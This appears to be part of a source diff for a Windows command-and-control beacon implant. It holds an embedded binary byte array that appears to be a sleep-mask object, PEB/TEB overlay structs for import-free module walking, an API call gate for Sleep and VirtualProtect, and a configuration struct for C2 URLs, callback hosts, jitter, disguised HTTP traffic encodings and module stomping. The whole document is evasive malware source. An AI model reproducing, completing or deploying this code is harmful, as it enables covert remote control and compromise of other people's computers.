(p)[3048]=0x00; (p)[3049]=0x00; (p)[3050]=0x00; (p)[3051]=0x00; (p)[3052]=0x00; (p)[3053]=0x00; (p)[3054]=0x00; (p)[3055]=0x00; \
(p)[3056]=0x2E; (p)[3057]=0x74; (p)[3058]=0x65; (p)[3059]=0x78; (p)[3060]=0x74; (p)[3061]=0x00; (p)[3062]=0x00; (p)[3063]=0x00; \
(p)[3064]=0x00; (p)[3065]=0x00; (p)[3066]=0x00; (p)[3067]=0x00; (p)[3068]=0x01; (p)[3069]=0x00; (p)[3070]=0x00; (p)[3071]=0x00; \
(p)[3072]=0x03; (p)[3073]=0x01; (p)[3074]=0x1F; (p)[3075]=0x07; (p)[3076]=0x00; (p)[3077]=0x00; (p)[3078]=0x0E; (p)[3079]=0x00; \
(p)[3080]=0x00; (p)[3081]=0x00; (p)[3082]=0x00; (p)[3083]=0x00; (p)[3084]=0x00; (p)[3085]=0x00; (p)[3086]=0x00; (p)[3087]=0x00; \
(p)[3088]=0x00; (p)[3089]=0x00; (p)[3090]=0x00; (p)[3091]=0x00; (p)[3092]=0x2E; (p)[3093]=0x64; (p)[3094]=0x61; (p)[3095]=0x74; \
(p)[3096]=0x61; (p)[3097]=0x00; (p)[3098]=0x00; (p)[3099]=0x00; (p)[3100]=0x00; (p)[3101]=0x00; (p)[3102]=0x00; (p)[3103]=0x00; \
(p)[3104]=0x02; (p)[3105]=0x00; (p)[3106]=0x00; (p)[3107]=0x00; (p)[3108]=0x03; (p)[3109]=0x01; (p)[3110]=0x00; (p)[3111]=0x00; \
(p)[3112]=0x00; (p)[3113]=0x00; (p)[3114]=0x00; (p)[3115]=0x00; (p)[3116]=0x00; (p)[3117]=0x00; (p)[3118]=0x00; (p)[3119]=0x00; \
(p)[3120]=0x00; (p)[3121]=0x00; (p)[3122]=0x00; (p)[3123]=0x00; (p)[3124]=0x00; (p)[3125]=0x00; (p)[3126]=0x00; (p)[3127]=0x00; \
(p)[3128]=0x2E; (p)[3129]=0x62; (p)[3130]=0x73; (p)[3131]=0x73; (p)[3132]=0x00; (p)[3133]=0x00; (p)[3134]=0x00; (p)[3135]=0x00; \
(p)[3136]=0x00; (p)[3137]=0x00; (p)[3138]=0x00; (p)[3139]=0x00; (p)[3140]=0x03; (p)[3141]=0x00; (p)[3142]=0x00; (p)[3143]=0x00; \
(p)[3144]=0x03; (p)[3145]=0x01; (p)[3146]=0x00; (p)[3147]=0x00; (p)[3148]=0x00; (p)[3149]=0x00; (p)[3150]=0x00; (p)[3151]=0x00; \
(p)[3152]=0x00; (p)[3153]=0x00; (p)[3154]=0x00; (p)[3155]=0x00; (p)[3156]=0x00; (p)[3157]=0x00; (p)[3158]=0x00; (p)[3159]=0x00; \
(p)[3160]=0x00; (p)[3161]=0x00; (p)[3162]=0x00; (p)[3163]=0x00; (p)[3164]=0x2E; (p)[3165]=0x72; (p)[3166]=0x64; (p)[3167]=0x61; \
(p)[3168]=0x74; (p)[3169]=0x61; (p)[3170]=0x00; (p)[3171]=0x00; (p)[3172]=0x00; (p)[3173]=0x00; (p)[3174]=0x00; (p)[3175]=0x00; \
(p)[3176]=0x04; (p)[3177]=0x00; (p)[3178]=0x00; (p)[3179]=0x00; (p)[3180]=0x03; (p)[3181]=0x01; (p)[3182]=0xAF; (p)[3183]=0x00; \
(p)[3184]=0x00; (p)[3185]=0x00; (p)[3186]=0x00; (p)[3187]=0x00; (p)[3188]=0x00; (p)[3189]=0x00; (p)[3190]=0x00; (p)[3191]=0x00; \
(p)[3192]=0x00; (p)[3193]=0x00; (p)[3194]=0x00; (p)[3195]=0x00; (p)[3196]=0x00; (p)[3197]=0x00; (p)[3198]=0x00; (p)[3199]=0x00; \
(p)[3200]=0x2E; (p)[3201]=0x78; (p)[3202]=0x64; (p)[3203]=0x61; (p)[3204]=0x74; (p)[3205]=0x61; (p)[3206]=0x00; (p)[3207]=0x00; \
(p)[3208]=0x00; (p)[3209]=0x00; (p)[3210]=0x00; (p)[3211]=0x00; (p)[3212]=0x05; (p)[3213]=0x00; (p)[3214]=0x00; (p)[3215]=0x00; \
(p)[3216]=0x03; (p)[3217]=0x01; (p)[3218]=0x50; (p)[3219]=0x00; (p)[3220]=0x00; (p)[3221]=0x00; (p)[3222]=0x00; (p)[3223]=0x00; \
(p)[3224]=0x00; (p)[3225]=0x00; (p)[3226]=0x00; (p)[3227]=0x00; (p)[3228]=0x00; (p)[3229]=0x00; (p)[3230]=0x00; (p)[3231]=0x00; \
(p)[3232]=0x00; (p)[3233]=0x00; (p)[3234]=0x00; (p)[3235]=0x00; (p)[3236]=0x2E; (p)[3237]=0x70; (p)[3238]=0x64; (p)[3239]=0x61; \
(p)[3240]=0x74; (p)[3241]=0x61; (p)[3242]=0x00; (p)[3243]=0x00; (p)[3244]=0x00; (p)[3245]=0x00; (p)[3246]=0x00; (p)[3247]=0x00; \
(p)[3248]=0x06; (p)[3249]=0x00; (p)[3250]=0x00; (p)[3251]=0x00; (p)[3252]=0x03; (p)[3253]=0x01; (p)[3254]=0x48; (p)[3255]=0x00; \
(p)[3256]=0x00; (p)[3257]=0x00; (p)[3258]=0x12; (p)[3259]=0x00; (p)[3260]=0x00; (p)[3261]=0x00; (p)[3262]=0x00; (p)[3263]=0x00; \
(p)[3264]=0x00; (p)[3265]=0x00; (p)[3266]=0x00; (p)[3267]=0x00; (p)[3268]=0x00; (p)[3269]=0x00; (p)[3270]=0x00; (p)[3271]=0x00; \
(p)[3272]=0x00; (p)[3273]=0x00; (p)[3274]=0x00; (p)[3275]=0x00; (p)[3276]=0x80; (p)[3277]=0x00; (p)[3278]=0x00; (p)[3279]=0x00; \
(p)[3280]=0x00; (p)[3281]=0x00; (p)[3282]=0x00; (p)[3283]=0x00; (p)[3284]=0x07; (p)[3285]=0x00; (p)[3286]=0x00; (p)[3287]=0x00; \
(p)[3288]=0x03; (p)[3289]=0x01; (p)[3290]=0x14; (p)[3291]=0x00; (p)[3292]=0x00; (p)[3293]=0x00; (p)[3294]=0x00; (p)[3295]=0x00; \
(p)[3296]=0x00; (p)[3297]=0x00; (p)[3298]=0x00; (p)[3299]=0x00; (p)[3300]=0x00; (p)[3301]=0x00; (p)[3302]=0x00; (p)[3303]=0x00; \
(p)[3304]=0x00; (p)[3305]=0x00; (p)[3306]=0x00; (p)[3307]=0x00; (p)[3308]=0x00; (p)[3309]=0x00; (p)[3310]=0x00; (p)[3311]=0x00; \
(p)[3312]=0x8B; (p)[3313]=0x00; (p)[3314]=0x00; (p)[3315]=0x00; (p)[3316]=0x00; (p)[3317]=0x00; (p)[3318]=0x00; (p)[3319]=0x00; \
(p)[3320]=0x00; (p)[3321]=0x00; (p)[3322]=0x00; (p)[3323]=0x00; (p)[3324]=0x02; (p)[3325]=0x00; (p)[3326]=0x00; (p)[3327]=0x00; \
(p)[3328]=0x00; (p)[3329]=0x00; (p)[3330]=0x9F; (p)[3331]=0x00; (p)[3332]=0x00; (p)[3333]=0x00; (p)[3334]=0x00; (p)[3335]=0x00; \
(p)[3336]=0x00; (p)[3337]=0x00; (p)[3338]=0x00; (p)[3339]=0x00; (p)[3340]=0x00; (p)[3341]=0x00; (p)[3342]=0x02; (p)[3343]=0x00; \
(p)[3344]=0x00; (p)[3345]=0x00; (p)[3346]=0x00; (p)[3347]=0x00; (p)[3348]=0xB9; (p)[3349]=0x00; (p)[3350]=0x00; (p)[3351]=0x00; \
(p)[3352]=0x00; (p)[3353]=0x00; (p)[3354]=0x00; (p)[3355]=0x00; (p)[3356]=0x00; (p)[3357]=0x00; (p)[3358]=0x00; (p)[3359]=0x00; \
(p)[3360]=0x02; (p)[3361]=0x00; (p)[3362]=0x00; (p)[3363]=0x00; (p)[3364]=0x00; (p)[3365]=0x00; (p)[3366]=0xDB; (p)[3367]=0x00; \
(p)[3368]=0x00; (p)[3369]=0x00; (p)[3370]=0x00; (p)[3371]=0x00; (p)[3372]=0x00; (p)[3373]=0x00; (p)[3374]=0x00; (p)[3375]=0x00; \
(p)[3376]=0x00; (p)[3377]=0x00; (p)[3378]=0x02; (p)[3379]=0x00; (p)[3380]=0x00; (p)[3381]=0x00; (p)[3382]=0x00; (p)[3383]=0x00; \
(p)[3384]=0xEF; (p)[3385]=0x00; (p)[3386]=0x00; (p)[3387]=0x00; (p)[3388]=0x00; (p)[3389]=0x00; (p)[3390]=0x00; (p)[3391]=0x00; \
(p)[3392]=0x00; (p)[3393]=0x00; (p)[3394]=0x00; (p)[3395]=0x00; (p)[3396]=0x02; (p)[3397]=0x00; (p)[3398]=0x00; (p)[3399]=0x00; \
(p)[3400]=0x00; (p)[3401]=0x00; (p)[3402]=0x15; (p)[3403]=0x01; (p)[3404]=0x00; (p)[3405]=0x00; (p)[3406]=0x00; (p)[3407]=0x00; \
(p)[3408]=0x00; (p)[3409]=0x00; (p)[3410]=0x00; (p)[3411]=0x00; (p)[3412]=0x00; (p)[3413]=0x00; (p)[3414]=0x02; (p)[3415]=0x00; \
(p)[3416]=0x33; (p)[3417]=0x01; (p)[3418]=0x00; (p)[3419]=0x00; (p)[3420]=0x2E; (p)[3421]=0x72; (p)[3422]=0x64; (p)[3423]=0x61; \
(p)[3424]=0x74; (p)[3425]=0x61; (p)[3426]=0x24; (p)[3427]=0x7A; (p)[3428]=0x7A; (p)[3429]=0x7A; (p)[3430]=0x00; (p)[3431]=0x48; \
(p)[3432]=0x61; (p)[3433]=0x6E; (p)[3434]=0x64; (p)[3435]=0x6C; (p)[3436]=0x65; (p)[3437]=0x53; (p)[3438]=0x6C; (p)[3439]=0x65; \
(p)[3440]=0x65; (p)[3441]=0x70; (p)[3442]=0x00; (p)[3443]=0x48; (p)[3444]=0x61; (p)[3445]=0x6E; (p)[3446]=0x64; (p)[3447]=0x6C; \
(p)[3448]=0x65; (p)[3449]=0x57; (p)[3450]=0x61; (p)[3451]=0x69; (p)[3452]=0x74; (p)[3453]=0x46; (p)[3454]=0x6F; (p)[3455]=0x72; \
(p)[3456]=0x53; (p)[3457]=0x69; (p)[3458]=0x6E; (p)[3459]=0x67; (p)[3460]=0x6C; (p)[3461]=0x65; (p)[3462]=0x4F; (p)[3463]=0x62; \
(p)[3464]=0x6A; (p)[3465]=0x65; (p)[3466]=0x63; (p)[3467]=0x74; (p)[3468]=0x00; (p)[3469]=0x48; (p)[3470]=0x61; (p)[3471]=0x6E; \
(p)[3472]=0x64; (p)[3473]=0x6C; (p)[3474]=0x65; (p)[3475]=0x57; (p)[3476]=0x61; (p)[3477]=0x69; (p)[3478]=0x74; (p)[3479]=0x46; \
(p)[3480]=0x6F; (p)[3481]=0x72; (p)[3482]=0x4D; (p)[3483]=0x75; (p)[3484]=0x6C; (p)[3485]=0x74; (p)[3486]=0x69; (p)[3487]=0x70; \
(p)[3488]=0x6C; (p)[3489]=0x65; (p)[3490]=0x4F; (p)[3491]=0x62; (p)[3492]=0x6A; (p)[3493]=0x65; (p)[3494]=0x63; (p)[3495]=0x74; \
(p)[3496]=0x73; (p)[3497]=0x00; (p)[3498]=0x48; (p)[3499]=0x61; (p)[3500]=0x6E; (p)[3501]=0x64; (p)[3502]=0x6C; (p)[3503]=0x65; \
(p)[3504]=0x56; (p)[3505]=0x69; (p)[3506]=0x72; (p)[3507]=0x74; (p)[3508]=0x75; (p)[3509]=0x61; (p)[3510]=0x6C; (p)[3511]=0x50; \
(p)[3512]=0x72; (p)[3513]=0x6F; (p)[3514]=0x74; (p)[3515]=0x65; (p)[3516]=0x63; (p)[3517]=0x74; (p)[3518]=0x00; (p)[3519]=0x48; \
(p)[3520]=0x61; (p)[3521]=0x6E; (p)[3522]=0x64; (p)[3523]=0x6C; (p)[3524]=0x65; (p)[3525]=0x47; (p)[3526]=0x65; (p)[3527]=0x6E; \
(p)[3528]=0x65; (p)[3529]=0x72; (p)[3530]=0x69; (p)[3531]=0x63; (p)[3532]=0x00; (p)[3533]=0x73; (p)[3534]=0x6C; (p)[3535]=0x65; \
(p)[3536]=0x65; (p)[3537]=0x70; (p)[3538]=0x5F; (p)[3539]=0x6D; (p)[3540]=0x61; (p)[3541]=0x73; (p)[3542]=0x6B; (p)[3543]=0x00; \
(p)[3544]=0x2E; (p)[3545]=0x72; (p)[3546]=0x64; (p)[3547]=0x61; (p)[3548]=0x74; (p)[3549]=0x61; (p)[3550]=0x24; (p)[3551]=0x7A; \
(p)[3552]=0x7A; (p)[3553]=0x7A; (p)[3554]=0x00; (p)[3555]=0x5F; (p)[3556]=0x5F; (p)[3557]=0x69; (p)[3558]=0x6D; (p)[3559]=0x70; \
(p)[3560]=0x5F; (p)[3561]=0x4D; (p)[3562]=0x53; (p)[3563]=0x56; (p)[3564]=0x43; (p)[3565]=0x52; (p)[3566]=0x54; (p)[3567]=0x24; \
(p)[3568]=0x70; (p)[3569]=0x72; (p)[3570]=0x69; (p)[3571]=0x6E; (p)[3572]=0x74; (p)[3573]=0x66; (p)[3574]=0x00; (p)[3575]=0x5F; \
(p)[3576]=0x5F; (p)[3577]=0x69; (p)[3578]=0x6D; (p)[3579]=0x70; (p)[3580]=0x5F; (p)[3581]=0x4E; (p)[3582]=0x54; (p)[3583]=0x44; \
(p)[3584]=0x4C; (p)[3585]=0x4C; (p)[3586]=0x24; (p)[3587]=0x4E; (p)[3588]=0x74; (p)[3589]=0x43; (p)[3590]=0x72; (p)[3591]=0x65; \
(p)[3592]=0x61; (p)[3593]=0x74; (p)[3594]=0x65; (p)[3595]=0x45; (p)[3596]=0x76; (p)[3597]=0x65; (p)[3598]=0x6E; (p)[3599]=0x74; \
(p)[3600]=0x00; (p)[3601]=0x5F; (p)[3602]=0x5F; (p)[3603]=0x69; (p)[3604]=0x6D; (p)[3605]=0x70; (p)[3606]=0x5F; (p)[3607]=0x4E; \
(p)[3608]=0x54; (p)[3609]=0x44; (p)[3610]=0x4C; (p)[3611]=0x4C; (p)[3612]=0x24; (p)[3613]=0x4E; (p)[3614]=0x74; (p)[3615]=0x57; \
(p)[3616]=0x61; (p)[3617]=0x69; (p)[3618]=0x74; (p)[3619]=0x46; (p)[3620]=0x6F; (p)[3621]=0x72; (p)[3622]=0x53; (p)[3623]=0x69; \
(p)[3624]=0x6E; (p)[3625]=0x67; (p)[3626]=0x6C; (p)[3627]=0x65; (p)[3628]=0x4F; (p)[3629]=0x62; (p)[3630]=0x6A; (p)[3631]=0x65; \
(p)[3632]=0x63; (p)[3633]=0x74; (p)[3634]=0x00; (p)[3635]=0x5F; (p)[3636]=0x5F; (p)[3637]=0x69; (p)[3638]=0x6D; (p)[3639]=0x70; \
(p)[3640]=0x5F; (p)[3641]=0x4E; (p)[3642]=0x54; (p)[3643]=0x44; (p)[3644]=0x4C; (p)[3645]=0x4C; (p)[3646]=0x24; (p)[3647]=0x4E; \
(p)[3648]=0x74; (p)[3649]=0x43; (p)[3650]=0x6C; (p)[3651]=0x6F; (p)[3652]=0x73; (p)[3653]=0x65; (p)[3654]=0x00; (p)[3655]=0x5F; \
(p)[3656]=0x5F; (p)[3657]=0x69; (p)[3658]=0x6D; (p)[3659]=0x70; (p)[3660]=0x5F; (p)[3661]=0x4B; (p)[3662]=0x45; (p)[3663]=0x52; \
(p)[3664]=0x4E; (p)[3665]=0x45; (p)[3666]=0x4C; (p)[3667]=0x33; (p)[3668]=0x32; (p)[3669]=0x24; (p)[3670]=0x57; (p)[3671]=0x61; \
(p)[3672]=0x69; (p)[3673]=0x74; (p)[3674]=0x46; (p)[3675]=0x6F; (p)[3676]=0x72; (p)[3677]=0x4D; (p)[3678]=0x75; (p)[3679]=0x6C; \
(p)[3680]=0x74; (p)[3681]=0x69; (p)[3682]=0x70; (p)[3683]=0x6C; (p)[3684]=0x65; (p)[3685]=0x4F; (p)[3686]=0x62; (p)[3687]=0x6A; \
(p)[3688]=0x65; (p)[3689]=0x63; (p)[3690]=0x74; (p)[3691]=0x73; (p)[3692]=0x00; (p)[3693]=0x5F; (p)[3694]=0x5F; (p)[3695]=0x69; \
(p)[3696]=0x6D; (p)[3697]=0x70; (p)[3698]=0x5F; (p)[3699]=0x4B; (p)[3700]=0x45; (p)[3701]=0x52; (p)[3702]=0x4E; (p)[3703]=0x45; \
(p)[3704]=0x4C; (p)[3705]=0x33; (p)[3706]=0x32; (p)[3707]=0x24; (p)[3708]=0x56; (p)[3709]=0x69; (p)[3710]=0x72; (p)[3711]=0x74; \
(p)[3712]=0x75; (p)[3713]=0x61; (p)[3714]=0x6C; (p)[3715]=0x50; (p)[3716]=0x72; (p)[3717]=0x6F; (p)[3718]=0x74; (p)[3719]=0x65; \
(p)[3720]=0x63; (p)[3721]=0x74; (p)[3722]=0x00; \
} while(0)
+8
View File
@@ -0,0 +1,8 @@
/* beacon/include/Crypto.h
* AES-128-CBC constants for BCrypt encrypt / decrypt. */
#pragma once
#define NAX_AES_BLOCK 16
#define NAX_AES_KEY 16
#define NAX_AES_IV 16
+112
View File
@@ -0,0 +1,112 @@
/* beacon/include/Defs.h
* Minimal LDR, PEB, and TEB overlay structs for PEB walk and TEB access.
* MinGW cross-compile winternl.h hides most _TEB/_PEB fields behind Reserved
* arrays; these overlays expose the fields at their real x64 offsets.
* All offsets verified against Windows x64 ABI.
*
* NaxCurrentTeb() / NaxCurrentPeb() - thin macros wrapping NtCurrentTeb()
* (defined in winnt.h, reads GS:[0x30]) cast to our richer overlay types. */
#pragma once
#include <windows.h>
/* ========= [ UNICODE_STRING (PEB/LDR) ] ========= */
typedef struct _NAX_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
DWORD Pad; /* x64 alignment: Buffer is at +0x08 */
PWSTR Buffer;
} NAX_UNICODE_STRING, *PNAX_UNICODE_STRING;
/* ========= [ LDR_DATA_TABLE_ENTRY (InLoadOrderLinks walk) ] ========= */
typedef struct _NAX_LDR_ENTRY {
LIST_ENTRY InLoadOrderLinks; /* +0x00 */
LIST_ENTRY InMemoryOrderLinks; /* +0x10 */
LIST_ENTRY InInitOrderLinks; /* +0x20 */
PVOID DllBase; /* +0x30 */
PVOID EntryPoint; /* +0x38 */
ULONG SizeOfImage; /* +0x40 */
ULONG Reserved; /* +0x44 */
NAX_UNICODE_STRING FullDllName; /* +0x48 */
NAX_UNICODE_STRING BaseDllName; /* +0x58 */
ULONG Flags; /* +0x68 */
} NAX_LDR_ENTRY, *PNAX_LDR_ENTRY;
/* ========= [ PEB_LDR_DATA (module list head) ] ========= */
typedef struct _NAX_PEB_LDR_DATA {
ULONG Length; /* +0x00 */
BOOLEAN Initialized; /* +0x04 */
BYTE Pad[3];
HANDLE SsHandle; /* +0x08 */
LIST_ENTRY InLoadOrderModuleList; /* +0x10 */
} NAX_PEB_LDR_DATA, *PNAX_PEB_LDR_DATA;
/* ========= [ RTL_USER_PROCESS_PARAMETERS (minimal) ] ========= */
/* Only ImagePathName is exposed - it is at +0x060 in the real struct.
* Reserved[0x60] pads to the correct offset without naming intervening fields. */
typedef struct _NAX_RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved[0x60];
NAX_UNICODE_STRING ImagePathName; /* +0x060 (Length/Buffer at +0x060/+0x068) */
} NAX_RTL_USER_PROCESS_PARAMETERS, *PNAX_RTL_USER_PROCESS_PARAMETERS;
/* ========= [ PEB overlay ] ========= */
/*
* x64 PEB layout (verified):
* +0x000 InheritedAddressSpace / ReadImageFileExecOptions (2 bytes)
* +0x002 BeingDebugged (1 byte)
* +0x003 BitField + Padding (5 bytes)
* +0x008 Mutant (8 bytes PVOID)
* +0x010 ImageBaseAddress (8 bytes PVOID)
* +0x018 Ldr (8 bytes PVOID)
* +0x020 ProcessParameters (8 bytes PVOID)
* +0x028 SubSystemData (8 bytes)
* +0x030 ProcessHeap (8 bytes PVOID)
*
* Byte accounting for the Reserved block:
* Reserved1[2] (0x00-0x01) + BeingDebugged(0x02) + Reserved2[21](0x03-0x17) = 0x18
* → Ldr starts at +0x018 ✓ */
typedef struct _NAX_PEB {
BYTE Reserved1[2]; /* +0x000 */
BYTE BeingDebugged; /* +0x002 */
BYTE Reserved2[21]; /* +0x003 fills to +0x017 */
struct _NAX_PEB_LDR_DATA *Ldr; /* +0x018 */
PNAX_RTL_USER_PROCESS_PARAMETERS ProcessParameters; /* +0x020 */
PVOID SubSystemData; /* +0x028 */
HANDLE ProcessHeap; /* +0x030 */
} NAX_PEB, *PNAX_PEB;
/* ========= [ TEB overlay ] ========= */
/*
* x64 TEB layout (key fields only):
* +0x000 NtTib (NT_TIB, 0x38 bytes) - ArbitraryUserPointer at NtTib+0x028
* +0x038 EnvironmentPointer (PVOID)
* +0x040 ClientId.UniqueProcess (HANDLE)
* +0x048 ClientId.UniqueThread (HANDLE)
* +0x050 ActiveRpcHandle (PVOID)
* +0x058 ThreadLocalStoragePointer (PVOID)
* +0x060 ProcessEnvironmentBlock (PPEB / PNAX_PEB) */
typedef struct _NAX_CLIENT_ID {
HANDLE UniqueProcess; /* TEB+0x040 */
HANDLE UniqueThread; /* TEB+0x048 */
} NAX_CLIENT_ID;
typedef struct _NAX_TEB {
NT_TIB NtTib; /* +0x000 (0x38 bytes, ArbitraryUserPointer at +0x028) */
PVOID EnvironmentPointer; /* +0x038 */
NAX_CLIENT_ID ClientId; /* +0x040 */
PVOID ActiveRpcHandle; /* +0x050 */
PVOID ThreadLocalStoragePointer; /* +0x058 */
PNAX_PEB ProcessEnvironmentBlock; /* +0x060 */
DWORD LastErrorValue; /* +0x068 - same as GetLastError(), no import needed */
} NAX_TEB, *PNAX_TEB;
/* NtCurrentTeb() from winnt.h reads GS:[0x30]; cast to our richer type.
* NaxCurrentPeb() follows the ProcessEnvironmentBlock pointer. */
#define NaxCurrentTeb() ( (PNAX_TEB)(PVOID)NtCurrentTeb() )
#define NaxCurrentPeb() ( NaxCurrentTeb()->ProcessEnvironmentBlock )
+37
View File
@@ -0,0 +1,37 @@
/* beacon/include/Gate.h
* Shared between beacon gate wrappers and sleepmask dispatcher.
* No dependency on Instance.h - only windows.h for base types. */
#pragma once
#include <windows.h>
#define GATE_MAX_ARGS 10
typedef enum _GATE_API {
GATE_API_GENERIC = 0x00,
GATE_API_SLEEP = 0x01,
GATE_API_WAIT_FOR_SINGLE_OBJECT = 0x02,
GATE_API_WAIT_FOR_MULTIPLE_OBJECTS = 0x03,
GATE_API_VIRTUAL_PROTECT = 0x04,
} GATE_API;
typedef struct _FUNCTION_CALL {
PVOID FunctionPtr;
UINT32 GateApi;
UINT32 NumArgs;
ULONG_PTR Args[GATE_MAX_ARGS];
ULONG_PTR RetValue;
PVOID SmInfo;
} FUNCTION_CALL, *PFUNCTION_CALL;
typedef ULONG_PTR (*FN0 )( VOID );
typedef ULONG_PTR (*FN1 )( ULONG_PTR );
typedef ULONG_PTR (*FN2 )( ULONG_PTR, ULONG_PTR );
typedef ULONG_PTR (*FN3 )( ULONG_PTR, ULONG_PTR, ULONG_PTR );
typedef ULONG_PTR (*FN4 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR );
typedef ULONG_PTR (*FN5 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR );
typedef ULONG_PTR (*FN6 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR );
typedef ULONG_PTR (*FN7 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR );
typedef ULONG_PTR (*FN8 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR );
typedef ULONG_PTR (*FN9 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR );
typedef ULONG_PTR (*FN10)( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR );
+14
View File
@@ -0,0 +1,14 @@
/* beacon/include/Helpers.h
* Shared helper functions - deduplicated from per-module static copies. */
#pragma once
#include "Macros.h"
#include "Instance.h"
FUNC UINT32 NaxStrLen( const PCHAR s );
FUNC UINT32 NaxWcharLen( const PWCHAR s );
FUNC VOID NaxWriteWin32ErrCode( PBYTE out, UINT32* out_len, DWORD code );
FUNC UINT32 NaxAppendStr( PCHAR dst, UINT32 off, UINT32 cap, const CHAR* src );
FUNC UINT32 NaxAppendWStr( PCHAR dst, UINT32 off, UINT32 cap, const WCHAR* src );
FUNC UINT32 NaxAppendInt( PCHAR dst, UINT32 off, UINT32 cap, UINT32 v );
FUNC UINT32 NaxAppendPtr( PCHAR dst, UINT32 off, UINT32 cap, UINT_PTR val );
+586
View File
@@ -0,0 +1,586 @@
/* beacon/include/Instance.h
* NAX_INSTANCE - heap-allocated beacon state.
* NAX_CONFIG holds all runtime-configurable fields (sleep, jitter, key, C2).
* Recovered anywhere via G_INSTANCE (reads TEB->NtTib.ArbitraryUserPointer).
*
* Each DLL bundle struct holds only function pointers from that DLL. */
#pragma once
#include "Macros.h"
#include "Defs.h"
#include "Wire.h"
/* ntdll.h brings all NT types, NtCurrentProcess/Thread, and full NTAPI declarations
* (NtAllocateVirtualMemory, NtProtectVirtualMemory, etc.) so we never redefine them. */
#define _WINTERNL_
#include "ntdll.h"
#include <winsock2.h>
#include <winhttp.h>
#include <bcrypt.h>
#include <iphlpapi.h>
#include <aclapi.h>
#include "WinApis.h"
/* ========= [ output configuration ] ========= */
#define BOF_STOMP_ASYNC_MAX 4
#define NAX_FMT_RAW 0u
#define NAX_FMT_BASE64 1u
#define NAX_FMT_BASE64URL 2u
#define NAX_FMT_HEX 3u
#define NAX_PLACE_BODY 0u
#define NAX_PLACE_HEADER 1u
#define NAX_PLACE_COOKIE 2u
#define NAX_PLACE_PARAMETER 3u
typedef struct _NAX_OUTPUT_CFG {
BYTE Format; /* NAX_FMT_* */
BYTE Mask; /* 0 or 1 - XOR with 4-byte random key */
BYTE Placement; /* NAX_PLACE_* */
CHAR Name[ 128 ]; /* header/cookie/param name */
CHAR Prepend[ 512 ];
UINT16 PrependLen;
CHAR Append[ 512 ];
UINT16 AppendLen;
CHAR EmptyResp[ 512 ];
UINT16 EmptyRespLen;
} NAX_OUTPUT_CFG;
/* ========= [ runtime configuration ] ========= */
typedef struct {
UINT32 SleepMs;
BYTE JitterPct;
BYTE AesKey[ 16 ];
UINT32 ListenerWm;
CHAR C2Url[ 128 ];
BYTE ProfileLoaded;
BYTE ProfileVersion; /* 1=legacy, 2=v2 */
BYTE Rotation; /* 0=sequential, 1=random */
CHAR BeaconIdHdr[ 128 ]; /* header name for beacon ID (default X-Beacon-Id) */
/* callback hosts */
BYTE HostCount;
CHAR Hosts[ 4 ][ 128 ];
CHAR UserAgent[ 256 ];
/* GET transaction */
BYTE GetUriCount;
BYTE GetUriIdx;
CHAR GetUris[ 8 ][ 128 ];
NAX_OUTPUT_CFG GetClientMeta;
BYTE GetClientHdrCount;
CHAR GetClientHdrs[ 8 ][ 256 ];
BYTE GetClientParamCount;
CHAR GetClientParams[ 8 ][ 128 ];
NAX_OUTPUT_CFG GetServerOutput;
/* POST transaction */
BYTE PostUriCount;
BYTE PostUriIdx;
CHAR PostUris[ 8 ][ 128 ];
NAX_OUTPUT_CFG PostClientMeta;
NAX_OUTPUT_CFG PostClientOutput;
BYTE PostClientHdrCount;
CHAR PostClientHdrs[ 8 ][ 256 ];
NAX_OUTPUT_CFG PostServerOutput;
/* chunked download */
UINT32 DlChunkSize;
/* BOF module stomping */
BYTE BofStomp;
WCHAR BofSyncDll[ 64 ];
BYTE BofAsyncCount;
WCHAR BofAsyncDlls[ BOF_STOMP_ASYNC_MAX ][ 64 ];
WCHAR SmStompDll[ 64 ];
} NAX_CONFIG;
/* ========= [ ntdll.dll ] ========= */
typedef struct {
HMODULE Handle;
D_API( RtlAllocateHeap );
D_API( RtlFreeHeap );
D_API( RtlExitUserThread );
D_API( NtAllocateVirtualMemory );
D_API( NtProtectVirtualMemory );
D_API( NtFreeVirtualMemory );
D_API( RtlAddFunctionTable );
D_API( RtlDeleteFunctionTable );
D_API( NtOpenProcessToken );
D_API( NtQueryInformationToken );
D_API( NtQueryInformationProcess );
D_API( NtClose );
D_API( NtQuerySystemInformation );
D_API( NtOpenProcess );
D_API( NtTerminateProcess );
D_API( TpAllocWork );
D_API( TpPostWork );
D_API( TpReleaseWork );
D_API( RtlInitializeCriticalSection );
D_API( RtlEnterCriticalSection );
D_API( RtlLeaveCriticalSection );
D_API( RtlTryEnterCriticalSection );
D_API( RtlDeleteCriticalSection );
D_API( LdrRegisterDllNotification );
D_API( LdrUnregisterDllNotification );
D_API( _vsnprintf );
D_API( DbgPrint );
D_API( NtQueryVirtualMemory );
} NAX_NTDLL;
/* ========= [ msvcrt.dll ] ========= */
typedef struct {
D_API( printf );
} NAX_MSVCRT;
/* ========= [ kernel32.dll ] ========= */
typedef struct {
HMODULE Handle;
D_API( ExitProcess );
D_API( Sleep );
D_API( LoadLibraryW );
D_API( HeapCreate );
D_API( HeapDestroy );
D_API( GetComputerNameExW );
D_API( WideCharToMultiByte );
D_API( MultiByteToWideChar );
D_API( GlobalFree );
D_API( CreateDirectoryA );
D_API( SetCurrentDirectoryA );
D_API( GetCurrentDirectoryA );
D_API( CreateFileA );
D_API( ReadFile );
D_API( WriteFile );
D_API( DeleteFileA );
D_API( CloseHandle );
D_API( RemoveDirectoryA );
D_API( FindFirstFileA );
D_API( FindNextFileA );
D_API( FindClose );
D_API( GetFileSize );
D_API( GetLastError );
D_API( LoadLibraryA );
D_API( GetProcAddress );
D_API( GetModuleHandleA );
D_API( FreeLibrary );
